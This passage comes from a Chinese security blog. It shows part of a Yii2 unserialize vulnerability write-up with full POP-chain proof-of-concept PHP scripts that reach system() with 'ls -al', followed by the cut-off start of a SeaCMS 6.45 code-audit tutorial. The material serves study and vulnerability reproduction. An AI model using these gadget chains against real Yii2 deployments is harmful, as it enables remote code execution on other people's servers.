class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-keyword">namespace</span> <span class="hljs-title">yii</span>\<span class="hljs-title">db</span>{<br> <span class="hljs-title">use</span> <span class="hljs-title">yii</span>\<span class="hljs-title">web</span>\<span class="hljs-title">DbSession</span>;<br><br> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BatchQueryResult</span></span>{<br> <span class="hljs-keyword">private</span> <span class="hljs-variable">$_dataReader</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-keyword">$this</span>->_dataReader = <span class="hljs-keyword">new</span> DbSession();<br> }<br> }<br>}<br><br><span class="hljs-keyword">namespace</span>{<br> $<span class="hljs-title">payload</span> = <span class="hljs-title">new</span> <span class="hljs-title">yii</span>\<span class="hljs-title">db</span>\<span class="hljs-title">BatchQueryResult</span>();<br> <span class="hljs-keyword">echo</span> base64_encode(serialize(<span class="hljs-variable">$payload</span>));<br>}<br><br><span class="hljs-keyword">namespace</span> <span class="hljs-title">yii</span>\<span class="hljs-title">web</span>{<br> <span class="hljs-title">use</span> <span class="hljs-title">yii</span>\<span class="hljs-title">rest</span>\<span class="hljs-title">IndexAction</span>;<br><br> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">DbSession</span></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$writeCallback</span>;<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">$this</span>->writeCallback = [<span class="hljs-keyword">new</span> IndexAction(), <span class="hljs-string">'run'</span>];<br> }<br> }<br><br>}<br><br><span class="hljs-keyword">namespace</span> <span class="hljs-title">yii</span>\<span class="hljs-title">rest</span>{<br> <span class="hljs-title">class</span> <span class="hljs-title">IndexAction</span>{<br> <span class="hljs-title">public</span> $<span class="hljs-title">checkAccess</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$id</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-keyword">$this</span>->checkAccess = <span class="hljs-string">'system'</span>;<br> <span class="hljs-keyword">$this</span>->id = <span class="hljs-string">'ls -al'</span>; <span class="hljs-comment">//command</span><br> <span class="hljs-comment">// run() -> call_user_func($this->checkAccess, $this->id);</span><br> }<br> }<br>}<br></code></pre></td></tr></table></figure><h2 id="POP3"><a href="#POP3" class="headerlink" title="POP3"></a>POP3</h2><p>POP3和POP4,将寻找新的利用链,通过全局搜索<code>__destruct()|__wakeup()</code>寻找触发点</p><p>最终找到</p><p>vendor/codeception/codeception/ext/RunProcess.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">RunProcess</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Extension</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>) //<span class="hljs-title">line</span>:93-109</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">$this</span>->stopProcess();<br> }<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">stopProcess</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">foreach</span> (array_reverse(<span class="hljs-keyword">$this</span>->processes) <span class="hljs-keyword">as</span> <span class="hljs-variable">$process</span>) {<br> <span class="hljs-comment">/** <span class="hljs-doctag">@var</span> $process Process **/</span><br> <span class="hljs-keyword">if</span> (!<span class="hljs-variable">$process</span>->isRunning()) {<br> <span class="hljs-keyword">continue</span>;<br> }<br> <span class="hljs-keyword">$this</span>->output->debug(<span class="hljs-string">'[RunProcess] Stopping '</span> . <span class="hljs-variable">$process</span>->getCommandLine());<br> <span class="hljs-variable">$process</span>->stop();<br> }<br> <span class="hljs-keyword">$this</span>->processes = [];<br> }<br> ……<br></code></pre></td></tr></table></figure><p><code>__destruct()</code>析构的时候,调用<code>stopProcess()</code>,而函数中的<code>this->processes</code>可控,也就意味着<code>$process</code>可控。而因为<code>$process</code>调用<code>isRunning()</code>函数进行判断,这个不在类中,会触发<code>__call()</code>方法。</p><p>至于后面的嘛,就可以接上第一条利用链POP1的<code>__call()</code>方法开头的后半段,完成一个新的POP链</p><h3 id="POC-2"><a href="#POC-2" class="headerlink" title="POC"></a>POC</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-keyword">namespace</span> <span class="hljs-title">yii</span>\<span class="hljs-title">rest</span>{<br> <span class="hljs-title">class</span> <span class="hljs-title">IndexAction</span>{<br> <span class="hljs-title">public</span> $<span class="hljs-title">checkAccess</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$id</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-keyword">$this</span>->checkAccess = <span class="hljs-string">'system'</span>;<br> <span class="hljs-keyword">$this</span>->id = <span class="hljs-string">'ls -al'</span>; <span class="hljs-comment">//command</span><br> <span class="hljs-comment">// run() -> call_user_func($this->checkAccess, $this->id);</span><br> }<br> }<br>}<br><br><span class="hljs-keyword">namespace</span> <span class="hljs-title">Faker</span>{<br> <span class="hljs-title">use</span> <span class="hljs-title">yii</span>\<span class="hljs-title">rest</span>\<span class="hljs-title">IndexAction</span>;<br><br> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Generator</span></span>{<br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$formatters</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-keyword">$this</span>->formatters[<span class="hljs-string">'isRunning'</span>] = [<span class="hljs-keyword">new</span> IndexAction, <span class="hljs-string">'run'</span>];<br> <span class="hljs-comment">//stopProcess方法里又调用了isRunning()方法: $process->isRunning()</span><br> }<br> }<br>}<br><br><br><span class="hljs-keyword">namespace</span> <span class="hljs-title">Codeception</span>\<span class="hljs-title">Extension</span>{<br> <span class="hljs-title">use</span> <span class="hljs-title">Faker</span>\<span class="hljs-title">Generator</span>;<br> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">RunProcess</span></span>{<br> <span class="hljs-keyword">private</span> <span class="hljs-variable">$processes</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">$this</span>->processes = [<span class="hljs-keyword">new</span> <span class="hljs-built_in">Generator</span>()];<br> }<br><br> }<br>}<br><br><span class="hljs-keyword">namespace</span>{<br> <span class="hljs-title">use</span> <span class="hljs-title">Codeception</span>\<span class="hljs-title">Extension</span>\<span class="hljs-title">RunProcess</span>;<br><br> <span class="hljs-keyword">echo</span> base64_encode(serialize(<span class="hljs-keyword">new</span> RunProcess()));<br>}<br><br><span class="hljs-meta">?></span><br></code></pre></td></tr></table></figure><h2 id="POP4"><a href="#POP4" class="headerlink" title="POP4"></a>POP4</h2><p>vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Swift_KeyCache_DiskKeyCache</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">Swift_KeyCache</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">clearKey</span>(<span class="hljs-params"><span class="hljs-variable">$nsKey</span>, <span class="hljs-variable">$itemKey</span></span>)//<span class="hljs-title">line</span>:212-218</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">if</span> (<span class="hljs-keyword">$this</span>->hasKey(<span class="hljs-variable">$nsKey</span>, <span class="hljs-variable">$itemKey</span>)) {<br> <span class="hljs-keyword">$this</span>->freeHandle(<span class="hljs-variable">$nsKey</span>, <span class="hljs-variable">$itemKey</span>);<br> unlink(<span class="hljs-keyword">$this</span>->path.<span class="hljs-string">'/'</span>.<span class="hljs-variable">$nsKey</span>.<span class="hljs-string">'/'</span>.<span class="hljs-variable">$itemKey</span>);<br> }<br> }<br> <br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">clearAll</span>(<span class="hljs-params"><span class="hljs-variable">$nsKey</span></span>)//<span class="hljs-title">line</span>:225-236</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">if</span> (array_key_exists(<span class="hljs-variable">$nsKey</span>, <span class="hljs-keyword">$this</span>->keys)) {<br> <span class="hljs-keyword">foreach</span> (<span class="hljs-keyword">$this</span>->keys[<span class="hljs-variable">$nsKey</span>] <span class="hljs-keyword">as</span> <span class="hljs-variable">$itemKey</span> => <span class="hljs-variable">$null</span>) {<br> <span class="hljs-keyword">$this</span>->clearKey(<span class="hljs-variable">$nsKey</span>, <span class="hljs-variable">$itemKey</span>);<br> }<br> <span class="hljs-keyword">if</span> (is_dir(<span class="hljs-keyword">$this</span>->path.<span class="hljs-string">'/'</span>.<span class="hljs-variable">$nsKey</span>)) {<br> rmdir(<span class="hljs-keyword">$this</span>->path.<span class="hljs-string">'/'</span>.<span class="hljs-variable">$nsKey</span>);<br> }<br> <span class="hljs-keyword">unset</span>(<span class="hljs-keyword">$this</span>->keys[<span class="hljs-variable">$nsKey</span>]);<br> }<br> }<br> <br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)//<span class="hljs-title">line</span>:289-294</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">foreach</span> (<span class="hljs-keyword">$this</span>->keys <span class="hljs-keyword">as</span> <span class="hljs-variable">$nsKey</span> => <span class="hljs-variable">$null</span>) {<br> <span class="hljs-keyword">$this</span>->clearAll(<span class="hljs-variable">$nsKey</span>);<br> }<br> }<br></code></pre></td></tr></table></figure><ul><li><p><code>__destruct</code>调用<code>clearAll()</code>方法</p></li><li><p>跟进到<code>clearAll()</code>,调用<code>clearKey()</code></p></li><li><p>调用<code>clearKey()</code>,这里的<code>unlink</code>用到了拼接字符串,而<code>this->path</code>可控,所以就调用<code>__toString()</code>方法:</p></li></ul><p>接下来需要找到可以利用的<code>__toString()</code>魔术方法来触发后续操作。</p><p>全局搜索一下<code>__toString()</code>方法:<code>function __toString\(\)</code>,可以发现不少的方法,以<code>\phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString</code>为例,</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__toString</span>(<span class="hljs-params"></span>) : <span class="hljs-title">string</span></span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->refers . (<span class="hljs-keyword">$this</span>->description ? <span class="hljs-string">' '</span> . <span class="hljs-keyword">$this</span>->description->render() : <span class="hljs-string">''</span>);<br> }<br></code></pre></td></tr></table></figure><p><code>$this->refers</code>和<code>$this->description</code>可控。同时它在调用<code>render()</code>时会调用<code>__call</code>魔术方法。</p><p>之后就与POP1的后半段链一样了。</p><p>完整的POP链如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php">POP4:<br>\Swift_KeyCache_DiskKeyCache::__destruct -> clearAll -> clearKey -> __toString<br>-> <br>\phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString -> render<br>-> <br>Faker\<span class="hljs-built_in">Generator</span>::__call()->format() -> call_user_func_array()<br>-><br>\yii\rest\IndexAction::run -> call_user_func()<br></code></pre></td></tr></table></figure><h3 id="POC-3"><a href="#POC-3" class="headerlink" title="POC"></a>POC</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-comment">// EXP: Swift_KeyCache_DiskKeyCache::__destruct -> __toString -> __call</span><br><span class="hljs-keyword">namespace</span> {<br> <span class="hljs-title">use</span> <span class="hljs-title">phpDocumentor</span>\<span class="hljs-title">Reflection</span>\<span class="hljs-title">DocBlock</span>\<span class="hljs-title">Tags</span>\<span class="hljs-title">Covers</span>;<br><br> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Swift_KeyCache_DiskKeyCache</span></span>{<br> <span class="hljs-keyword">private</span> <span class="hljs-variable">$path</span>;<br> <span class="hljs-keyword">private</span> <span class="hljs-variable">$keys</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">$this</span>->keys = <span class="hljs-keyword">array</span>(<br> <span class="hljs-string">"V0W"</span> =><span class="hljs-keyword">array</span>(<span class="hljs-string">"is"</span>, <span class="hljs-string">"Ca1j1"</span>)<br> ); <span class="hljs-comment">//注意 ClearAll中的数组解析了两次,之后再unlink</span><br> <span class="hljs-keyword">$this</span>->path = <span class="hljs-keyword">new</span> Covers();<br> }<br> }<br><br> <span class="hljs-variable">$payload</span> = <span class="hljs-keyword">new</span> Swift_KeyCache_DiskKeyCache();<br> <span class="hljs-keyword">echo</span> base64_encode(serialize(<span class="hljs-variable">$payload</span>));<br>}<br><br><span class="hljs-keyword">namespace</span> <span class="hljs-title">phpDocumentor</span>\<span class="hljs-title">Reflection</span>\<span class="hljs-title">DocBlock</span>\<span class="hljs-title">Tags</span>{<br> <span class="hljs-title">use</span> <span class="hljs-title">Faker</span>\<span class="hljs-title">Generator</span>;<br><br> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Covers</span></span>{<br> <span class="hljs-keyword">private</span> <span class="hljs-variable">$refers</span>;<br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$description</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">$this</span>->description = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Generator</span>();<br> <span class="hljs-keyword">$this</span>->refers = <span class="hljs-string">"AnyStringisOK"</span>;<br> }<br> }<br><br>}<br><br><span class="hljs-keyword">namespace</span> <span class="hljs-title">yii</span>\<span class="hljs-title">rest</span>{<br> <span class="hljs-title">class</span> <span class="hljs-title">IndexAction</span>{<br> <span class="hljs-title">public</span> $<span class="hljs-title">checkAccess</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$id</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-keyword">$this</span>->checkAccess = <span class="hljs-string">'system'</span>;<br> <span class="hljs-keyword">$this</span>->id = <span class="hljs-string">'ls -al'</span>; <span class="hljs-comment">//command</span><br> <span class="hljs-comment">// run() -> call_user_func($this->checkAccess, $this->id);</span><br> }<br> }<br>}<br><br><span class="hljs-keyword">namespace</span> <span class="hljs-title">Faker</span>{<br> <span class="hljs-title">use</span> <span class="hljs-title">yii</span>\<span class="hljs-title">rest</span>\<span class="hljs-title">IndexAction</span>;<br><br> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Generator</span></span>{<br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$formatters</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-keyword">$this</span>->formatters[<span class="hljs-string">'render'</span>] = [<span class="hljs-keyword">new</span> IndexAction, <span class="hljs-string">'run'</span>];<br> <span class="hljs-comment">//stopProcess方法里又调用了isRunning()方法: $process->isRunning()</span><br> }<br> }<br>}<br></code></pre></td></tr></table></figure><p>演示:</p><p>虽然报错还是能执行命令</p><p><img src="img/yii%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/image-20210623161041092.png" alt="image-20210623161041092"></p><p>参考:</p><p>Yii 官方文档:<a href="https://www.yiichina.com/doc">https://www.yiichina.com/doc</a></p><p>Yii2 官方仓库:<a href="https://github.com/yiisoft/yii2">https://github.com/yiisoft/yii2</a></p><p><strong>米斯特团队</strong>全过程介绍:<a href="https://v0w.top/2020/09/22/Yii2unserialize">https://v0w.top/2020/09/22/Yii2unserialize</a></p><p>大佬的有趣挖链过程,结果同上:<a href="https://juejin.cn/post/6874149010832097294">https://juejin.cn/post/6874149010832097294</a></p><p>额外具有ctf题:<a href="https://juejin.cn/post/6974936838746144782">https://juejin.cn/post/6974936838746144782</a></p><p><code>__wakeup</code>入手的POP链(本文没有记录):<a href="https://ca01h.top/code_audit/PHP/8.Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E6%8B%93%E5%B1%95/">https://ca01h.top/code_audit/PHP/8.Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E6%8B%93%E5%B1%95/</a></p>]]></content>
<categories>
<category>php代码审计</category>
</categories>
<tags>
<tag>PHP</tag>
<tag>代码审计</tag>
<tag>漏洞复现</tag>
</tags>
</entry>
<entry>
<title>通过 SeaCMS 学习 php 代码审计</title>
<link href="/2021/09/seacms/"/>
<url>/2021/09/seacms/</url>
<content type="html"><![CDATA[<h1 id="0x01-简介"><a href="#0x01-简介" class="headerlink" title="0x01 简介"></a>0x01 简介</h1><p>SeaCMS 是一套专为不同需求的站长而设计的视频点播系统,也曾爆出过很多经典的漏洞,现在仍在维护,最新版本是 v12.x</p><p>本次代码审计选择的版本是 SeaCMS 6.45,活跃时间大概在2015年,因为这个版本存在很多有趣的漏洞,十分适合我们练手</p><h1 id="0x02-全局分析"><a href="#0x02-全局分析" class="headerlink" title="0x02 全局分析"></a>0x02 全局分析</h1><h2 id="网站首页-index-php"><a href="#网站首页-index-php" class="headerlink" title="网站首页 index.php"></a>网站首页 index.php</h2><blockquote><p>index.php</p></blockquote><p>SeaCMS 和 BlueCMS 的网站首页差不多,加载其他文件处理关键逻辑,然后借助模板输出网页视图。SeaCMS 并没有采用Smarty模板引擎处理</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">require_once</span> (<span class="hljs-string">"include/common.php"</span>);<br><span class="hljs-keyword">require_once</span> sea_INC.<span class="hljs-string">"/main.class.php"</span>;<br><span class="hljs-comment">// 输出首页页面</span><br>echoIndex();<br></code></pre></td></tr></table></figure><h2 id="common-php"><a href="#common-php" class="headerlink" title="common.php"></a>common.php</h2><blockquote><p>include/common.php</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// 加载一些基础文件,360webscan.php具有一些安全过滤,mysql.php定义了数据库操控函数,common.func.php含有大量基础函数</span><br><span class="hljs-keyword">require_once</span>(<span class="hljs-variable">$_SERVER</span>[<span class="hljs-string">'DOCUMENT_ROOT'</span>].<span class="hljs-string">'/360safe/360webscan.php'</span>);<br><span class="hljs-keyword">require_once</span>( sea_INC.<span class="hljs-string">'/inc/mysql.php'</span> );<br><span class="hljs-keyword">require_once</span>(sea_INC.<span class="hljs-string">'/common.func.php'</span>);<br><span class="hljs-comment">//检查和注册外部提交的GPC变量是否为系统的全局或配置变量</span><br><span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$_REQUEST</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$_k</span>=><span class="hljs-variable">$_v</span>)<br>{<br><span class="hljs-keyword">if</span>( strlen(<span class="hljs-variable">$_k</span>)><span class="hljs-number">0</span> && m_eregi(<span class="hljs-string">'^(cfg_|GLOBALS)'</span>,<span class="hljs-variable">$_k</span>) && !<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_COOKIE</span>[<span class="hljs-variable">$_k</span>]) )<br>{<br><span class="hljs-keyword">exit</span>(<span class="hljs-string">'Request var not allow!'</span>);<br>}<br>}<br><span class="hljs-comment">// 过滤GPC数据,_RunMagicQuotes底层是addslashes()实现</span><br><span class="hljs-keyword">foreach</span>(<span class="hljs-keyword">Array</span>(<span class="hljs-string">'_GET'</span>,<span class="hljs-string">'_POST'</span>,<span class="hljs-string">'_COOKIE'</span>) <span class="hljs-keyword">as</span> <span class="hljs-variable">$_request</span>)<br>{<br><span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$$_request</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$_k</span> => <span class="hljs-variable">$_v</span>) ${<span class="hljs-variable">$_k</span>} = _RunMagicQuotes(<span class="hljs-variable">$_v</span>);<br>}<br><span class="hljs-comment">//加载配置文件,主要为数据库配置文件和系统配置参数,这里就是 cfg_ 变量</span><br><span class="hljs-keyword">require_once</span>(sea_DATA.<span class="hljs-string">'/common.inc.php'</span>);<br><span class="hljs-keyword">require_once</span>(sea_DATA.<span class="hljs-string">"/config.cache.inc.php"</span>);<br><span class="hljs-comment">//模板的存放目录</span><br><span class="hljs-variable">$cfg_templets_dir</span> = <span class="hljs-string">'templets'</span>;<br><span class="hljs-comment">// 文件上传安全处理</span><br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$_FILES</span>)<br>{<br><span class="hljs-keyword">require_once</span>(sea_INC.<span class="hljs-string">'/uploadsafe.inc.php'</span>);<br>}<br><span class="hljs-comment">//引入数据库类 sql.class.php 会实例化 $db/$dsql 数据库链接对象,$db->linkID保存着数据库连接</span><br><span class="hljs-keyword">require_once</span>(sea_INC.<span class="hljs-string">'/sql.class.php'</span>);<br></code></pre></td></tr></table></figure><ul><li><p>重点关注common.php 对变量的处理,首先程序禁止GPC变量为系统的全局变量或 <code>cfg_</code> 配置变量,然后全局对GPC数据做addslashes()过滤,没有过滤 <code>$_SERVER</code> 。注意这里通过 <code>$$</code> 的方式直接把GPC的变量注册到系统中,可能会造成变量覆盖漏洞的问题</p></li><li><p>加载的 common.func.php 含有大量的基础函数,其中还有 RemoveXSS() 这种方法过滤 xss 代码,需要调用才能实现</p></li><li><p>注意到SeaCMS 对文件上传也有全局处理,跟踪下这个文件 include/uploadsafe.inc.php</p><p>这里通过黑名单方式禁用了很多以文件后缀,如果服务器只解析 php 后缀的文件,我们则很难绕过这个</p></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$cfg_not_allowall</span> = <span class="hljs-string">"php|pl|cgi|asp|asa|cer|aspx|jsp|php3|shtm|shtml"</span>;<br><span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$_FILES</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$_key</span>=><span class="hljs-variable">$_value</span>)<br>{<br> <span class="hljs-keyword">if</span>(!<span class="hljs-keyword">empty</span>(${<span class="hljs-variable">$_key</span>.<span class="hljs-string">'_name'</span>}) && (m_eregi(<span class="hljs-string">"\.("</span>.<span class="hljs-variable">$cfg_not_allowall</span>.<span class="hljs-string">")$"</span>,${<span class="hljs-variable">$_key</span>.<span class="hljs-string">'_name'</span>}) || !m_ereg(<span class="hljs-string">"\."</span>,${<span class="hljs-variable">$_key</span>.<span class="hljs-string">'_name'</span>})) )<br> {<br> <span class="hljs-keyword">exit</span>(<span class="hljs-string">'Upload filetype not allow !'</span>);<br> }<br>}<br></code></pre></td></tr></table></figure><h2 id="后台入口-index-php"><a href="#后台入口-index-php" class="headerlink" title="后台入口 index.php"></a>后台入口 index.php</h2><p>前台的功能点一般比较少,很多时候需要通过后台的功能点才能获取到shell,bluecms就是通过后台获取的shell。下面分析一下后台入口文件 index.php 的流程</p><blockquote><p>admin/index.php</p></blockquote><p>下面是 admin/index.php 的全部代码,写的十分简单,可以看到具体逻辑还是交给了加载的文件,我们还需要分析加载的代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span 